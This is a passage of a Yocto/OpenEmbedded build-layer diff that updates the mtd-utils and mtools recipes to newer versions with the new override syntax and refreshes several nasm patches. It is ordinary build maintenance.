@@ -1,105 +0,0 @@
-Upstream-Status: Pending
-
-Index: git/jffsX-utils/mkfs.jffs2.c
-===================================================================
---- git.orig/jffsX-utils/mkfs.jffs2.c
-+++ git/jffsX-utils/mkfs.jffs2.c
-@@ -100,6 +100,11 @@ struct filesystem_entry {
- struct rb_node hardlink_rb;
- };
-
-+struct ignorepath_entry {
-+ struct ignorepath_entry* next; /* Points to the next ignorepath element */
-+ char name[PATH_MAX]; /* Name of the entry */
-+};
-+static struct ignorepath_entry* ignorepath = 0;
- struct rb_root hardlinks;
- static int out_fd = -1;
- static int in_fd = -1;
-@@ -309,7 +314,7 @@ static struct filesystem_entry *recursiv
- char *hpath, *tpath;
- struct dirent *dp, **namelist;
- struct filesystem_entry *entry;
--
-+ struct ignorepath_entry* element = ignorepath;
-
- if (lstat(hostpath, &sb)) {
- sys_errmsg_die("%s", hostpath);
-@@ -318,6 +323,15 @@ static struct filesystem_entry *recursiv
- entry = add_host_filesystem_entry(targetpath, hostpath,
- sb.st_uid, sb.st_gid, sb.st_mode, 0, parent);
-
-+ while ( element ) {
-+ if ( strcmp( element->name, targetpath ) == 0 ) {
-+ printf( "Note: ignoring directories below '%s'\n", targetpath );
-+ return entry;
-+ break;
-+ }
-+ element = element->next;
-+ }
-+
- n = scandir(hostpath, &namelist, 0, alphasort);
- if (n < 0) {
- sys_errmsg_die("opening directory %s", hostpath);
-@@ -1359,6 +1373,7 @@ static struct option long_options[] = {
- {"root", 1, NULL, 'r'},
- {"pagesize", 1, NULL, 's'},
- {"eraseblock", 1, NULL, 'e'},
-+ {"ignore", 1, NULL, 'I'},
- {"output", 1, NULL, 'o'},
- {"help", 0, NULL, 'h'},
- {"verbose", 0, NULL, 'v'},
-@@ -1409,6 +1424,7 @@ static const char helptext[] =
- " -L, --list-compressors Show the list of the available compressors\n"
- " -t, --test-compression Call decompress and compare with the original (for test)\n"
- " -n, --no-cleanmarkers Don't add a cleanmarker to every eraseblock\n"
-+" -I, --ignore=PATH Ignore sub directory and file tree below PATH when recursing over the file system\n"
- " -o, --output=FILE Output to FILE (default: stdout)\n"
- " -l, --little-endian Create a little-endian filesystem\n"
- " -b, --big-endian Create a big-endian filesystem\n"
-@@ -1566,6 +1582,7 @@ int main(int argc, char **argv)
- char *compr_name = NULL;
- int compr_prior = -1;
- int warn_page_size = 0;
-+ struct ignorepath_entry* element = ignorepath;
-
- page_size = sysconf(_SC_PAGESIZE);
- if (page_size < 0) /* System doesn't know so ... */
-@@ -1576,7 +1593,7 @@ int main(int argc, char **argv)
- jffs2_compressors_init();
-
- while ((opt = getopt_long(argc, argv,
-- "D:d:r:s:o:qUPfh?vVe:lbp::nc:m:x:X:Lty:i:", long_options, &c)) >= 0)
-+ "D:d:r:s:I:o:qUPfh?vVe:lbp::nc:m:x:X:Lty:i:", long_options, &c)) >= 0)
- {
- switch (opt) {
- case 'D':
-@@ -1600,6 +1617,28 @@ int main(int argc, char **argv)
- warn_page_size = 0; /* set by user, so don't need to warn */
- break;
-
-+ case 'I':
-+ printf( "Note: Adding '%s' to ignore Path\n", optarg );
-+ element = ignorepath;
-+ if ( !ignorepath ) {
-+ ignorepath = xmalloc( sizeof( struct ignorepath_entry ) );
-+ ignorepath->next = 0;
-+ strcpy( &ignorepath->name[0], optarg );
-+ } else {
-+ while ( element->next ) element = element->next;
-+ element->next = xmalloc( sizeof( struct ignorepath_entry ) );
-+ element->next->next = 0;
-+ strcpy( &element->next->name[0], optarg );
-+ }
-+ printf( "--------- Dumping ignore path list ----------------\n" );
-+ element = ignorepath;
-+ while ( element ) {
-+ printf( " * '%s'\n", &element->name[0] );
-+ element = element->next;
-+ }
-+ printf( "---------------------------------------------------\n" );
-+ break;
-+
- case 'o':
- if (out_fd != -1) {
- errmsg_die("output filename specified more than once");
diff --git a/meta/recipes-devtools/mtd/mtd-utils_git.bb b/meta/recipes-devtools/mtd/mtd-utils_git.bb
index 9181413427..a40d79c864 100644
--- a/meta/recipes-devtools/mtd/mtd-utils_git.bb
+++ b/meta/recipes-devtools/mtd/mtd-utils_git.bb
@@ -1,25 +1,22 @@
SUMMARY = "Tools for managing memory technology devices"
HOMEPAGE = "http://www.linux-mtd.infradead.org/"
+DESCRIPTION = "mtd-utils tool is a generic Linux subsystem for memory devices, especially Flash devices."
SECTION = "base"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
file://include/common.h;beginline=1;endline=17;md5=ba05b07912a44ea2bf81ce409380049c"
inherit autotools pkgconfig update-alternatives
DEPENDS = "zlib e2fsprogs util-linux"
-RDEPENDS_mtd-utils-tests += "bash"
+RDEPENDS:mtd-utils-tests += "bash"
-PV = "2.1.2"
+PV = "2.2.0"
-SRCREV = "7b986779342021bda87c04da3bf729718736d8ab"
-SRC_URI = "git://git.infradead.org/mtd-utils.git \
- file://add-exclusion-to-mkfs-jffs2-git-2.patch \
- "
+SRCREV = "31e990c56aba7584cde310685d663bb122f16003"
+SRC_URI = "git://git.infradead.org/mtd-utils.git;branch=master"
-S = "${WORKDIR}/git/"
-
-EXTRA_OECONF += "--enable-install-tests"
+S = "${WORKDIR}/git"
# xattr support creates an additional compile-time dependency on acl because
# the sys/acl.h header is needed. libacl is not needed and thus enabling xattr
@@ -32,21 +29,19 @@ PACKAGECONFIG[jffs] = "--with-jffs,--without-jffs"
PACKAGECONFIG[ubifs] = "--with-ubifs,--without-ubifs"
PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd"
-CPPFLAGS_append_riscv64 = " -pthread -D_REENTRANT"
+CPPFLAGS:append:riscv64 = " -pthread -D_REENTRANT"
EXTRA_OEMAKE = "'CC=${CC}' 'RANLIB=${RANLIB}' 'AR=${AR}' 'CFLAGS=${CFLAGS} ${@bb.utils.contains('PACKAGECONFIG', 'xattr', '', '-DWITHOUT_XATTR', d)} -I${S}/include' 'BUILDDIR=${S}'"
# Use higher priority than corresponding BusyBox-provided applets
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "flashcp flash_eraseall flash_lock flash_unlock nanddump nandwrite"
-ALTERNATIVE_${PN}-ubifs = "ubiattach ubidetach ubimkvol ubirename ubirmvol ubirsvol ubiupdatevol"
+ALTERNATIVE:${PN} = "flashcp flash_eraseall flash_lock flash_unlock nanddump nandwrite"
+ALTERNATIVE:${PN}-ubifs = "ubiattach ubidetach ubimkvol ubirename ubirmvol ubirsvol ubiupdatevol"
-ALTERNATIVE_LINK_NAME[flash_eraseall] = "${sbindir}/flash_eraseall"
ALTERNATIVE_LINK_NAME[nandwrite] = "${sbindir}/nandwrite"
ALTERNATIVE_LINK_NAME[nanddump] = "${sbindir}/nanddump"
ALTERNATIVE_LINK_NAME[ubiattach] = "${sbindir}/ubiattach"
-ALTERNATIVE_LINK_NAME[ubiattach] = "${sbindir}/ubiattach"
ALTERNATIVE_LINK_NAME[ubidetach] = "${sbindir}/ubidetach"
ALTERNATIVE_LINK_NAME[ubimkvol] = "${sbindir}/ubimkvol"
ALTERNATIVE_LINK_NAME[ubirename] = "${sbindir}/ubirename"
@@ -60,16 +55,24 @@ ALTERNATIVE_LINK_NAME[flashcp] = "${sbindir}/flashcp"
do_install () {
oe_runmake install DESTDIR=${D} SBINDIR=${sbindir} MANDIR=${mandir} INCLUDEDIR=${includedir}
+ install -d ${D}${includedir}/mtd
+ install -d ${D}${libdir}
+ install -m 0644 ${S}/include/libubi.h ${D}${includedir}
+ install -m 0644 ${S}/include/libmtd.h ${D}${includedir}
+ install -m 0644 ${S}/include/libscan.h ${D}${includedir}
+ install -m 0644 ${S}/include/libubigen.h ${D}${includedir}
+ oe_libinstall -a libubi ${D}${libdir}/
+ oe_libinstall -a libmtd ${D}${libdir}/
}
PACKAGES =+ "mtd-utils-misc mtd-utils-tests"
PACKAGES =+ "${@bb.utils.contains("PACKAGECONFIG", "jffs", "mtd-utils-jffs2", "", d)}"
PACKAGES =+ "${@bb.utils.contains("PACKAGECONFIG", "ubifs", "mtd-utils-ubifs", "", d)}"
-FILES_mtd-utils-jffs2 = "${sbindir}/mkfs.jffs2 ${sbindir}/jffs2dump ${sbindir}/jffs2reader ${sbindir}/sumtool"
-FILES_mtd-utils-ubifs = "${sbindir}/mkfs.ubifs ${sbindir}/ubi*"
-FILES_mtd-utils-misc = "${sbindir}/nftl* ${sbindir}/ftl* ${sbindir}/rfd* ${sbindir}/doc* ${sbindir}/serve_image ${sbindir}/recv_image"
-FILES_mtd-utils-tests = "${libexecdir}/mtd-utils/*"
+FILES:mtd-utils-jffs2 = "${sbindir}/mkfs.jffs2 ${sbindir}/jffs2dump ${sbindir}/jffs2reader ${sbindir}/sumtool"
+FILES:mtd-utils-ubifs = "${sbindir}/mkfs.ubifs ${sbindir}/ubi*"
+FILES:mtd-utils-misc = "${sbindir}/nftl* ${sbindir}/ftl* ${sbindir}/rfd* ${sbindir}/doc* ${sbindir}/serve_image ${sbindir}/recv_image"
+FILES:mtd-utils-tests = "${libexecdir}/mtd-utils/*"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/mtools/mtools/disable-hardcoded-configs.patch b/meta/recipes-devtools/mtools/mtools/disable-hardcoded-configs.patch
index 138ff9de76..57be935487 100644
--- a/meta/recipes-devtools/mtools/mtools/disable-hardcoded-configs.patch
+++ b/meta/recipes-devtools/mtools/mtools/disable-hardcoded-configs.patch
@@ -1,4 +1,4 @@
-From fa6ebd96c7f330edcd74abf61584592eabb9e726 Mon Sep 17 00:00:00 2001
+From 2ef9b371a5cc44e730143e694d71665831fac216 Mon Sep 17 00:00:00 2001
From: Ed Bartosh <ed.bartosh@linux.intel.com>
Date: Tue, 13 Jun 2017 14:55:52 +0300
Subject: [PATCH] Disabled reading host configs.
@@ -12,10 +12,10 @@ Signed-off-by: Ed Bartosh <ed.bartosh@linux.intel.com>
1 file changed, 8 deletions(-)
diff --git a/config.c b/config.c
-index 265d494..15e64dd 100644
+index 2f6a297..3181ed7 100644
--- a/config.c
+++ b/config.c
-@@ -740,14 +740,6 @@ void read_config(void)
+@@ -844,14 +844,6 @@ void read_config(void)
memcpy(devices, const_devices,
nr_const_devices*sizeof(struct device));
diff --git a/meta/recipes-devtools/mtools/mtools/mtools-makeinfo.patch b/meta/recipes-devtools/mtools/mtools/mtools-makeinfo.patch
index 8ceb0af136..6ae91d6cb9 100644
--- a/meta/recipes-devtools/mtools/mtools/mtools-makeinfo.patch
+++ b/meta/recipes-devtools/mtools/mtools/mtools-makeinfo.patch
@@ -1,9 +1,48 @@
+From 3cf56b36db78679273f61ba78fbbf7f3fab52f68 Mon Sep 17 00:00:00 2001
+From: Marcin Juszkiewicz <hrw@openedhand.com>
+Date: Fri, 8 Jun 2007 08:35:12 +0000
+Subject: [PATCH] mtools: imported from OE
+
Upstream-Status: Inappropriate [licensing]
-Index: mtools-4.0.18/configure.in
-===================================================================
---- mtools-4.0.18.orig/configure.in
-+++ mtools-4.0.18/configure.in
+---
+ Makefile.in | 11 ++++++-----
+ configure.in | 27 +++++++++++++++++++++++++++
+ 2 files changed, 33 insertions(+), 5 deletions(-)
+
+diff --git a/Makefile.in b/Makefile.in
+index 616d59f..85b5b1d 100644
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -26,10 +26,11 @@ USERCFLAGS =
+ USERLDFLAGS =
+ USERLDLIBS =
+
+-MAKEINFO = makeinfo
+-TEXI2DVI = texi2dvi
+-TEXI2PDF = texi2pdf
+-TEXI2HTML = texi2html
++MAKEINFO = @MAKEINFO@
++TEXI2DVI = @TEXI2DVI@
++TEXI2PDF = @TEXI2PDF@
++TEXI2HTML = @TEXI2HTML@
++DVI2PS = @DVI2PS@
+
+
+ # do not edit below this line
+@@ -199,7 +200,7 @@ dvi: mtools.dvi
+
+ ps: mtools.ps
+ %.ps: %.dvi
+- dvips -f < $< > $@
++ $(DVI2PS) -f < $< > $@
+
+ pdf: mtools.pdf
+ %.pdf: %.texi sysconfdir.texi
+diff --git a/configure.in b/configure.in
+index 5ff75c1..c0f7440 100644
+--- a/configure.in
++++ b/configure.in
@@ -35,6 +35,33 @@ AC_CANONICAL_SYSTEM
AC_C_CONST
AC_C_INLINE
@@ -35,35 +74,6 @@ Index: mtools-4.0.18/configure.in
+AC_SUBST(TEXI2HTML)
+AC_SUBST(DVI2PS)
+
-
dnl Check for configuration options
dnl Enable OS/2 extended density format disks
-Index: mtools-4.0.18/Makefile.in
-===================================================================
---- mtools-4.0.18.orig/Makefile.in
-+++ mtools-4.0.18/Makefile.in
-@@ -26,10 +26,11 @@ USERCFLAGS =
- USERLDFLAGS =
- USERLDLIBS =
-
--MAKEINFO = makeinfo
--TEXI2DVI = texi2dvi
--TEXI2PDF = texi2pdf
--TEXI2HTML = texi2html
-+MAKEINFO = @MAKEINFO@
-+TEXI2DVI = @TEXI2DVI@
-+TEXI2PDF = @TEXI2PDF@
-+TEXI2HTML = @TEXI2HTML@
-+DVI2PS = @DVI2PS@
-
-
- # do not edit below this line
-@@ -198,7 +199,7 @@ dvi: mtools.dvi
-
- ps: mtools.ps
- %.ps: %.dvi
-- dvips -f < $< > $@
-+ $(DVI2PS) -f < $< > $@
-
- pdf: mtools.pdf
- %.pdf: %.texi sysconfdir.texi
+ AC_ARG_ENABLE(xdf,
diff --git a/meta/recipes-devtools/mtools/mtools/no-x11.gplv3.patch b/meta/recipes-devtools/mtools/mtools/no-x11.gplv3.patch
deleted file mode 100644
index 9cb3e39f5c..0000000000
--- a/meta/recipes-devtools/mtools/mtools/no-x11.gplv3.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-Disable building with X11 support.
-
-Upstream-Status: Inappropriate [disable feature]
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
-diff -urN mtools-4.0.15.orig//Makefile.in mtools-4.0.15//Makefile.in
---- mtools-4.0.15.orig//Makefile.in 2010-10-17 08:41:09.000000000 -0700
-+++ mtools-4.0.15//Makefile.in 2010-11-23 13:59:49.258258374 -0800
-@@ -146,7 +146,7 @@
- CXXFLAGS = $(CPPFLAGS) $(DEFS) $(MYCXXFLAGS) -I. @extraincludedir@ -I@srcdir@ $(USERCFLAGS)
- LINK = $(CC) $(LDFLAGS) $(USERLDFLAGS) @extralibdir@
- ALLLIBS = $(USERLDLIBS) $(MACHDEPLIBS) $(SHLIB) $(LIBS)
--X_LDFLAGS = $(X_EXTRA_LIBS) $(X_LIBS) -lXau -lX11 $(LIBS)
-+X_LDFLAGS = $(X_EXTRA_LIBS) $(X_LIBS) $(LIBS)
- X_CCFLAGS = $(X_CFLAGS) $(CFLAGS)
-
- all: mtools $(LINKS) mkmanifest @FLOPPYD@ mtools.1 mtools.5
diff --git a/meta/recipes-devtools/mtools/mtools_4.0.24.bb b/meta/recipes-devtools/mtools/mtools_4.0.24.bb
deleted file mode 100644
index f11cdad37a..0000000000
--- a/meta/recipes-devtools/mtools/mtools_4.0.24.bb
+++ /dev/null
@@ -1,51 +0,0 @@
-SUMMARY = "Utilities to access MS-DOS disks without mounting them"
-DESCRIPTION = "Mtools is a collection of utilities to access MS-DOS disks from GNU and Unix without mounting them."
-HOMEPAGE = "http://www.gnu.org/software/mtools/"
-SECTION = "optional"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-DEPENDS += "virtual/libiconv"
-
-RDEPENDS_${PN}_libc-glibc = "glibc-gconv-ibm850"
-RRECOMMENDS_${PN}_libc-glibc = "\
- glibc-gconv-ibm437 \
- glibc-gconv-ibm737 \
- glibc-gconv-ibm775 \
- glibc-gconv-ibm851 \
- glibc-gconv-ibm852 \
- glibc-gconv-ibm855 \
- glibc-gconv-ibm857 \
- glibc-gconv-ibm860 \
- glibc-gconv-ibm861 \
- glibc-gconv-ibm862 \
- glibc-gconv-ibm863 \
- glibc-gconv-ibm865 \
- glibc-gconv-ibm866 \
- glibc-gconv-ibm869 \
- "
-SRC_URI[md5sum] = "aeaf34406e9d28922b7c09a35ca5955e"
-SRC_URI[sha256sum] = "24f4a2da9219f98498eb1b340cd96db7ef9b684c067d1bdeb6e85efdd13b2fb9"
-
-SRC_URI = "${GNU_MIRROR}/mtools/mtools-${PV}.tar.bz2 \
- file://mtools-makeinfo.patch \
- file://no-x11.gplv3.patch \
- file://clang_UNUSED.patch \
- "
-
-SRC_URI_append_class-native = " file://disable-hardcoded-configs.patch"
-
-inherit autotools texinfo
-
-EXTRA_OECONF = "--without-x"
-
-BBCLASSEXTEND = "native nativesdk"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[libbsd] = "ac_cv_lib_bsd_main=yes,ac_cv_lib_bsd_main=no,libbsd"
-
-do_install_prepend () {
- # Create bindir to fix parallel installation issues
- mkdir -p ${D}/${bindir}
- mkdir -p ${D}/${datadir}
-}
diff --git a/meta/recipes-devtools/mtools/mtools_4.0.43.bb b/meta/recipes-devtools/mtools/mtools_4.0.43.bb
new file mode 100644
index 0000000000..859103979e
--- /dev/null
+++ b/meta/recipes-devtools/mtools/mtools_4.0.43.bb
@@ -0,0 +1,49 @@
+SUMMARY = "Utilities to access MS-DOS disks without mounting them"
+DESCRIPTION = "Mtools is a collection of utilities to access MS-DOS disks from GNU and Unix without mounting them."
+HOMEPAGE = "http://www.gnu.org/software/mtools/"
+SECTION = "optional"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+DEPENDS += "virtual/libiconv"
+
+RDEPENDS:${PN}:libc-glibc = "glibc-gconv-ibm850"
+RRECOMMENDS:${PN}:libc-glibc = "\
+ glibc-gconv-ibm437 \
+ glibc-gconv-ibm737 \
+ glibc-gconv-ibm775 \
+ glibc-gconv-ibm851 \
+ glibc-gconv-ibm852 \
+ glibc-gconv-ibm855 \
+ glibc-gconv-ibm857 \
+ glibc-gconv-ibm860 \
+ glibc-gconv-ibm861 \
+ glibc-gconv-ibm862 \
+ glibc-gconv-ibm863 \
+ glibc-gconv-ibm865 \
+ glibc-gconv-ibm866 \
+ glibc-gconv-ibm869 \
+ "
+SRC_URI[sha256sum] = "541e179665dc4e272b9602f2074243591a157da89cc47064da8c5829dbd2b339"
+
+SRC_URI = "${GNU_MIRROR}/mtools/mtools-${PV}.tar.bz2 \
+ file://mtools-makeinfo.patch \
+ file://clang_UNUSED.patch \
+ "
+
+SRC_URI:append:class-native = " file://disable-hardcoded-configs.patch"
+
+inherit autotools texinfo
+
+EXTRA_OECONF = "--without-x"
+
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[libbsd] = "ac_cv_lib_bsd_main=yes,ac_cv_lib_bsd_main=no,libbsd"
+
+do_install:prepend () {
+ # Create bindir to fix parallel installation issues
+ mkdir -p ${D}/${bindir}
+ mkdir -p ${D}/${datadir}
+}
diff --git a/meta/recipes-devtools/nasm/nasm/0001-stdlib-Add-strlcat.patch b/meta/recipes-devtools/nasm/nasm/0001-stdlib-Add-strlcat.patch
index 0ede8a8328..1b8e947c56 100644
--- a/meta/recipes-devtools/nasm/nasm/0001-stdlib-Add-strlcat.patch
+++ b/meta/recipes-devtools/nasm/nasm/0001-stdlib-Add-strlcat.patch
@@ -1,4 +1,4 @@
-From 1c5023002bad3a5b0bbc181fdb324160beace733 Mon Sep 17 00:00:00 2001
+From 680220e772dfa381829983fa73b915416f676894 Mon Sep 17 00:00:00 2001
From: Joshua Watt <JPEWhacker@gmail.com>
Date: Tue, 19 Nov 2019 12:47:30 -0600
Subject: [PATCH] stdlib: Add strlcat
@@ -17,23 +17,23 @@ Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
create mode 100644 stdlib/strlcat.c
diff --git a/Makefile.in b/Makefile.in
-index bfae1f8..156dc4c 100644
+index b85ebee..045fabe 100644
--- a/Makefile.in
+++ b/Makefile.in
-@@ -101,7 +101,7 @@ NASM = asm/nasm.$(O)
- NDISASM = disasm/ndisasm.$(O)
+@@ -104,7 +104,7 @@ PROGOBJ = $(NASM) $(NDISASM)
+ PROGS = nasm$(X) ndisasm$(X)
- LIBOBJ = stdlib/snprintf.$(O) stdlib/vsnprintf.$(O) stdlib/strlcpy.$(O) \
+ LIBOBJ_NW = stdlib/snprintf.$(O) stdlib/vsnprintf.$(O) stdlib/strlcpy.$(O) \
- stdlib/strnlen.$(O) stdlib/strrchrnul.$(O) \
+ stdlib/strnlen.$(O) stdlib/strrchrnul.$(O) stdlib/strlcat.$(O) \
\
nasmlib/ver.$(O) \
nasmlib/alloc.$(O) nasmlib/asprintf.$(O) nasmlib/errfile.$(O) \
diff --git a/configure.ac b/configure.ac
-index 7b72769..14fd033 100644
+index 42cd198..e206338 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -234,6 +234,7 @@ PA_FUNC_SNPRINTF
+@@ -236,6 +236,7 @@ PA_FUNC_SNPRINTF
PA_FUNC_VSNPRINTF
AC_CHECK_FUNCS([strlcpy])
AC_CHECK_FUNCS([strrchrnul])
@@ -41,7 +41,7 @@ index 7b72769..14fd033 100644
dnl These types are POSIX-specific, and Windows does it differently...
AC_CHECK_TYPES([struct _stati64])
-@@ -253,6 +254,7 @@ AC_CHECK_DECLS(strsep)
+@@ -255,6 +256,7 @@ AC_CHECK_DECLS(strsep)
AC_CHECK_DECLS(strlcpy)
AC_CHECK_DECLS(strnlen)
AC_CHECK_DECLS(strrchrnul)
@@ -50,7 +50,7 @@ index 7b72769..14fd033 100644
dnl Check for missing types
AC_TYPE_UINTPTR_T
diff --git a/include/compiler.h b/include/compiler.h
-index b4fd3a8..7fb4821 100644
+index 407c160..b64da6a 100644
--- a/include/compiler.h
+++ b/include/compiler.h
@@ -169,6 +169,10 @@ size_t strlcpy(char *, const char *, size_t);
diff --git a/meta/recipes-devtools/nasm/nasm/0002-Add-debug-prefix-map-option.patch b/meta/recipes-devtools/nasm/nasm/0002-Add-debug-prefix-map-option.patch
index f788e0fd43..84fcca0fe1 100644
--- a/meta/recipes-devtools/nasm/nasm/0002-Add-debug-prefix-map-option.patch
+++ b/meta/recipes-devtools/nasm/nasm/0002-Add-debug-prefix-map-option.patch
@@ -1,4 +1,4 @@
-From bb4e42ad3a0cdd23a1d1797e6299c76b474867c0 Mon Sep 17 00:00:00 2001
+From e28c8883050d34d18ee2d66dfeece51e13adb6d5 Mon Sep 17 00:00:00 2001
From: Joshua Watt <JPEWhacker@gmail.com>
Date: Tue, 19 Nov 2019 13:12:17 -0600
Subject: [PATCH] Add --debug-prefix-map option
@@ -11,46 +11,44 @@ Upstream-Status: Submitted [https://bugzilla.nasm.us/show_bug.cgi?id=3392635]
Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
---
- asm/nasm.c | 26 +++++++++++++++++++++++++-
+ asm/nasm.c | 24 ++++++++++++++++++++++++
include/nasmlib.h | 9 +++++++++
nasm.txt | 4 ++++
nasmlib/filename.c | 20 ++++++++++++++++++++
output/outas86.c | 4 +++-
output/outcoff.c | 4 ++--
- output/outelf.c | 2 +-
+ output/outelf.c | 13 ++++++++-----
output/outieee.c | 2 +-
output/outobj.c | 2 +-
stdlib/strlcat.c | 2 +-
test/elfdebugprefix.asm | 6 ++++++
test/performtest.pl | 12 ++++++++++--
- 12 files changed, 83 insertions(+), 10 deletions(-)
+ 12 files changed, 89 insertions(+), 13 deletions(-)
create mode 100644 test/elfdebugprefix.asm
diff --git a/asm/nasm.c b/asm/nasm.c
-index a0e1719..fc6c62e 100644
+index 76c70f6..08ff119 100644
--- a/asm/nasm.c
+++ b/asm/nasm.c
-@@ -938,7 +938,8 @@ enum text_options {
- OPT_LIMIT,
+@@ -939,6 +939,7 @@ enum text_options {
OPT_KEEP_ALL,
OPT_NO_LINE,
-- OPT_DEBUG
-+ OPT_DEBUG,
-+ OPT_DEBUG_PREFIX_MAP
+ OPT_DEBUG,
++ OPT_DEBUG_PREFIX_MAP,
+ OPT_REPRODUCIBLE
};
enum need_arg {
- ARG_NO,
-@@ -970,6 +971,7 @@ static const struct textargs textopts[] = {
+@@ -971,6 +972,7 @@ static const struct textargs textopts[] = {
{"keep-all", OPT_KEEP_ALL, ARG_NO, 0},
{"no-line", OPT_NO_LINE, ARG_NO, 0},
{"debug", OPT_DEBUG, ARG_MAYBE, 0},
+ {"debug-prefix-map", OPT_DEBUG_PREFIX_MAP, true, 0},
+ {"reproducible", OPT_REPRODUCIBLE, ARG_NO, 0},
{NULL, OPT_BOGUS, ARG_NO, 0}
};
-
-@@ -1332,6 +1334,26 @@ static bool process_arg(char *p, char *q, int pass)
- case OPT_DEBUG:
- debug_nasm = param ? strtoul(param, NULL, 10) : debug_nasm+1;
+@@ -1335,6 +1337,26 @@ static bool process_arg(char *p, char *q, int pass)
+ case OPT_REPRODUCIBLE:
+ reproducible = true;
break;
+ case OPT_DEBUG_PREFIX_MAP: {
+ struct debug_prefix_list *d;
@@ -75,7 +73,7 @@ index a0e1719..fc6c62e 100644
case OPT_HELP:
help(stdout);
exit(0);
-@@ -2297,6 +2319,8 @@ static void help(FILE *out)
+@@ -2298,6 +2320,8 @@ static void help(FILE *out)
" -w-x disable warning x (also -Wno-x)\n"
" -w[+-]error promote all warnings to errors (also -Werror)\n"
" -w[+-]error=x promote warning x to errors (also -Werror=x)\n"
@@ -85,7 +83,7 @@ index a0e1719..fc6c62e 100644
fprintf(out, " %-20s %s\n",
diff --git a/include/nasmlib.h b/include/nasmlib.h
-index e9bfbcc..98fc653 100644
+index 87a7fc6..a3e5144 100644
--- a/include/nasmlib.h
+++ b/include/nasmlib.h
@@ -250,10 +250,19 @@ int64_t readstrnum(char *str, int length, bool *warn);
@@ -109,7 +107,7 @@ index e9bfbcc..98fc653 100644
/*
* Utility macros...
diff --git a/nasm.txt b/nasm.txt
-index cc7fa27..d3485c9 100644
+index 950c361..784618c 100644
--- a/nasm.txt
+++ b/nasm.txt
@@ -147,6 +147,10 @@ OPTIONS
@@ -181,10 +179,10 @@ index 54b22f8..c4a412c 100644
static void as86_cleanup(void)
diff --git a/output/outcoff.c b/output/outcoff.c
-index bcd9ff3..15bfcf3 100644
+index c2b4eb6..e242db2 100644
--- a/output/outcoff.c
+++ b/output/outcoff.c
-@@ -1095,14 +1095,14 @@ static void coff_symbol(char *name, int32_t strpos, int32_t value,
+@@ -1259,7 +1259,7 @@ static void coff_symbol(char *name, int32_t strpos, int32_t value,
static void coff_write_symbols(void)
{
@@ -193,29 +191,61 @@ index bcd9ff3..15bfcf3 100644
uint32_t i;
/*
- * The `.file' record, and the file name auxiliary record.
- */
- coff_symbol(".file", 0L, 0L, -2, 0, 0x67, 1);
-- strncpy(filename, inname, 18);
-+ filename_debug_remap(filename, inname, 19);
+@@ -1269,7 +1269,7 @@ static void coff_write_symbols(void)
+ if (reproducible)
+ memset(filename, 0, 18);
+ else
+- strncpy(filename, inname, 18);
++ filename_debug_remap(filename, inname, 19);
nasm_write(filename, 18, ofile);
/*
diff --git a/output/outelf.c b/output/outelf.c
-index 61af020..1292958 100644
+index ad8d210..29f1dc1 100644
--- a/output/outelf.c
+++ b/output/outelf.c
-@@ -553,7 +553,7 @@ static void elf_init(void)
- };
+@@ -546,8 +546,8 @@ static void elf_init(void)
const char * const *p;
+ const char * cur_path = nasm_realpath(inname);
- strlcpy(elf_module, inname, sizeof(elf_module));
+- strlcpy(elf_dir, nasm_dirname(cur_path), sizeof(elf_dir));
+ filename_debug_remap(elf_module, inname, sizeof(elf_module));
++ filename_debug_remap(elf_dir, nasm_dirname(cur_path), sizeof(elf_dir));
sects = NULL;
nsects = sectlen = 0;
syms = saa_init((int32_t)sizeof(struct elf_symbol));
+@@ -3590,13 +3590,17 @@ static void dwarf_findfile(const char * fname)
+ if (dwarf_clist && !(strcmp(fname, dwarf_clist->filename)))
+ return;
+
++ char * fname_remapped = nasm_malloc(FILENAME_MAX);
++ filename_debug_remap(fname_remapped,fname,FILENAME_MAX);
++
+ /* search for match */
+ match = 0;
+ if (dwarf_flist) {
+ match = dwarf_flist;
+ for (finx = 0; finx < dwarf_numfiles; finx++) {
+- if (!(strcmp(fname, match->filename))) {
++ if (!(strcmp(fname_remapped, match->filename))) {
+ dwarf_clist = match;
++ nasm_free(fname_remapped);
+ return;
+ }
+ match = match->next;
+@@ -3607,8 +3611,7 @@ static void dwarf_findfile(const char * fname)
+ dwarf_clist = nasm_malloc(sizeof(struct linelist));
+ dwarf_numfiles++;
+ dwarf_clist->line = dwarf_numfiles;
+- dwarf_clist->filename = nasm_malloc(strlen(fname) + 1);
+- strcpy(dwarf_clist->filename,fname);
++ dwarf_clist->filename = fname_remapped;
+ dwarf_clist->next = 0;
+ if (!dwarf_flist) { /* if first entry */
+ dwarf_flist = dwarf_elist = dwarf_clist;
diff --git a/output/outieee.c b/output/outieee.c
-index 4cc0f0f..2468724 100644
+index 7ba9036..796e5af 100644
--- a/output/outieee.c
+++ b/output/outieee.c
@@ -207,7 +207,7 @@ static void ieee_unqualified_name(char *, char *);
@@ -228,10 +258,10 @@ index 4cc0f0f..2468724 100644
fpubhead = NULL;
fpubtail = &fpubhead;
diff --git a/output/outobj.c b/output/outobj.c
-index 0d4d311..d8dd6a0 100644
+index 281839d..fc336c1 100644
--- a/output/outobj.c
+++ b/output/outobj.c
-@@ -638,7 +638,7 @@ static enum directive_result obj_directive(enum directive, char *);
+@@ -644,7 +644,7 @@ static enum directive_result obj_directive(enum directive, char *);
static void obj_init(void)
{
@@ -266,7 +296,7 @@ index 0000000..a67ba29
+ ret
+
diff --git a/test/performtest.pl b/test/performtest.pl
-index f7865b3..096f960 100755
+index 46b1bdf..2426848 100755
